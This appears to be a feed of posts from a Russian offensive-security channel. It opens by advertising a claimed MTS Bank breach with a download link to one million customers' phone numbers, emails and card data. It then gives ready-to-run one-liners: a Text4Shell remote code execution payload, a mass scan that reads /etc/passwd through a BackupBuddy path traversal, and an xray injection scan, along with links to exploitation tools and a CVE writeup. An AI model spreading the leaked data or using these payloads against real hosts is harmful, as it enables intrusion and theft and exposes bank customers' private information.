Эффект пентестера

Взломали крупный банк MTS Bank Сливаем 1 миллион из 21 миллиона клиентов, их номера, почты и данные карточек https://gofile.io/d/FJvLC1

hmm🤔

Shell in the Ghost: Ghostscript CVE-2023-28879 writeup https://offsec.almond.consulting/ghostscript-cve-2023-28879.html

🤯 OpenAI + Burp Suite = welcome to "ReconAIzer" A powerful extension for Burp Suite that leverages OpenAI to help bug bounty hunters optimize their recon process. https://github.com/hisxo/ReconAIzer

Apache Text4Shell (CVE-2022-42889) POC: curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.get.Runtime%28%29.exec%28%5C%27%27%2E%74%72%69%6D%28%24%63%6D%64%29%2E%27%5C%27%29%7D

xargs -a urls.txt -I@ sh -c './xray_linux_amd64 webscan --plugins cmd-injection,sqldet,xss --url "@" --html-output vuln.html https://github.com/chaitin/xray

https://github.com/CiscoCXSecurity/bbqsql A Blind SQL Injection Exploitation Tool

Wordpress vuln\CVE plugin: BackupBuddy cat hosts | httpx -title -path "/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd" -match-string "root:x:0:0"

Apache /server-info displays information about the Apache configuration payload:/server-info template for Nuclei https://github.com/DoubleTakes/nuclei-templates/blob/main/Apache/apache-server-info.yaml